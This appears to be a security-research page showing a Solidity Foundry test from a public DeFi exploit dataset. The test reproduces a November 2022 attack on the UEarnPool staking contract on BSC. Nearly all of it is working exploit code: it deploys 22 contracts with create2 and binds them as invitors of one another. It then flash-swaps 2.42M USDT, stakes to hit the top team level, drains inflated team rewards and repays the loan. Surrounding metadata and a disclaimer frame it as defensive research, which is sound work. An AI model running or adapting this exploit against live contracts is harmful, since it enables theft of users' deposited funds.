Public reproduction file
src/test/2022-11/UEarnPool_exp.sol
Public reproduction file for dataset entry - UEarnPool.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/CertiKAlert/status/15930949221601280009// @Tx10// https://bscscan.com/tx/0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec11// https://bscscan.com/tx/0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd41812// @Summary13// The key is to obtain invitation rewards, create 22 contracts, bind each other, first stake a large amount of usdt, make teamamont reach the standard of _levelConfigs[3], stake in turn, and finally claim rewards14// Reward Calculation: claimTeamReward() levelConfig15// if (_userInfos[account].levelClaimed[i] == 0) {16// if (i == 0) {17// levelReward = levelConfig.teamAmount * levelConfig.rewardRate / _feeDivFactor;18// } else {19// levelReward = (levelConfig.teamAmount - _levelConfigs[i - 1].teamAmount) * levelConfig.rewardRate / _feeDivFactor;20// }21// pendingReward += levelReward;22// _levelConfigs[0] = LevelConfig(100, 300000 * amountUnit, 3000 * amountUnit); rewardRate; teamAmount; amount;23// _levelConfigs[1] = LevelConfig(300, 600000 * amountUnit, 7000 * amountUnit);24// _levelConfigs[2] = LevelConfig(500, 1200000 * amountUnit, 10000 * amountUnit);25// _levelConfigs[3] = LevelConfig(1000, 2400000 * amountUnit, 20000 * amountUnit);26// _feeDivFactor = 1000027// rewrad: 162_000 = 1_200_000 * 0.1 + 600_000 * 0.05 + 300_000 * 0.03 + 300_000 * 0.0129interface UEarnPool {30 function bindInvitor(31 address invitor32 ) external;33 function stake(uint256 pid, uint256 amount) external;34 function claimTeamReward(35 address account36 ) external;37}39contract claimReward {40 UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);41 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);43 function bind(44 address invitor45 ) external {46 Pool.bindInvitor(invitor);47 }49 function stakeAndClaimReward(50 uint256 amount51 ) external {52 USDT.approve(address(address(Pool)), type(uint256).max);53 Pool.stake(0, amount);54 Pool.claimTeamReward(address(this));55 }57 function withdraw(58 address receiver59 ) external {60 USDT.transfer(receiver, USDT.balanceOf(address(this)));61 }62}64contract ContractTest is Test {65 UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);66 Uni_Pair_V2 Pair = Uni_Pair_V2(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);67 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);68 address[] contractList;70 CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);72 function setUp() public {73 cheat.createSelectFork("bsc", 23_120_167);74 }76 function testExploit() public {77 contractFactory();78 // bind invitor79 (bool success,) = contractList[0].call(abi.encodeWithSignature("bind(address)", tx.origin));80 require(success);81 for (uint256 i = 1; i < 22; i++) {82 (bool success,) = contractList[i].call(abi.encodeWithSignature("bind(address)", contractList[i - 1]));83 require(success);84 }86 Pair.swap(2_420_000 * 1e18, 0, address(this), new bytes(1));88 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);89 }91 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {92 uint256 len = contractList.length;93 // LevelConfig[3].teamAmount : 2_400_00094 USDT.transfer(contractList[len - 1], 2_400_000 * 1e18);95 (bool success1,) =96 contractList[len - 1].call(abi.encodeWithSignature("stakeAndClaimReward(uint256)", 2_400_000 * 1e18));97 require(success1);98 for (uint256 i = len - 2; i > 4; i--) {99 USDT.transfer(contractList[i], 20_000 * 1e18); // LevelConfig[3].Amount : 20_000100 USDT.balanceOf(address(this));101 // 162000 - 20000 + 1500, 1500 is the reduce amount of _addInviteReward(), claim remaining USDT when USDT amount in contract less than 162_000,102 if (USDT.balanceOf(address(Pool)) < 143_500 * 1e18) {103 USDT.transfer(address(Pool), 143_500 * 1e18 - USDT.balanceOf(address(Pool)));104 }105 (bool success1,) =106 contractList[i].call(abi.encodeWithSignature("stakeAndClaimReward(uint256)", 20_000 * 1e18)); // LevelConfig[3].Amount : 20_000107 require(success1);108 (bool success2,) = contractList[i].call(abi.encodeWithSignature("withdraw(address)", address(this)));109 require(success2);110 }111 contractList[0].call(abi.encodeWithSignature("withdraw(address)", address(this))); // claim the reward from _addInviteReward()112 contractList[1].call(abi.encodeWithSignature("withdraw(address)", address(this)));113 contractList[2].call(abi.encodeWithSignature("withdraw(address)", address(this)));114 contractList[3].call(abi.encodeWithSignature("withdraw(address)", address(this)));115 contractList[4].call(abi.encodeWithSignature("withdraw(address)", address(this)));116 uint256 borrowAmount = 2_420_000 * 1e18;117 USDT.transfer(address(Pair), borrowAmount * 10_000 / 9975 + 1000);118 }120 function contractFactory() public {121 address _add;122 bytes memory bytecode = type(claimReward).creationCode;123 for (uint256 _salt = 0; _salt < 22; _salt++) {124 assembly {125 _add := create2(0, add(bytecode, 32), mload(bytecode), _salt)126 }127 contractList.push(_add);128 }129 }130}Analysis
Dataset entry
Public Foundry test for “- UEarnPool” (2022-11-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-11/Annex_exp.solSame month in the dataset · 134 lines
- src/test/2022-11/AUR_exp.solSame month in the dataset · 105 lines
- src/test/2022-11/BDEX_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/BrahTOPG_exp.solSame month in the dataset · 88 lines
- src/test/2022-11/DFX_exp.solSame month in the dataset · 108 lines
- src/test/2022-11/Kashi_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/MBC_ZZSH_exp.solSame month in the dataset · 104 lines
- src/test/2022-11/MEV_0ad8_exp.solSame month in the dataset · 66 lines
- src/test/2022-11/MooCAKECTX_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/NUM_exp.solSame month in the dataset · 72 lines
- src/test/2022-11/Polynomial_exp.solSame month in the dataset · 98 lines
- src/test/2022-11/SDAO_exp.solSame month in the dataset · 109 lines
- src/test/2022-11/SEAMAN_exp.solSame month in the dataset · 71 lines
- src/test/2022-11/SheepFarm_exp.solSame month in the dataset · 55 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- UEarnPool
- Path
- src/test/2022-11/UEarnPool_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 273d1d595e5d2e7474b459875d6648614008dd0d
- Language
- Solidity
- Size
- 131 lines
- Date
- 2022-11-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-11/UEarnPool_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 273d1d595e5d2e7474b459875d6648614008dd0d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.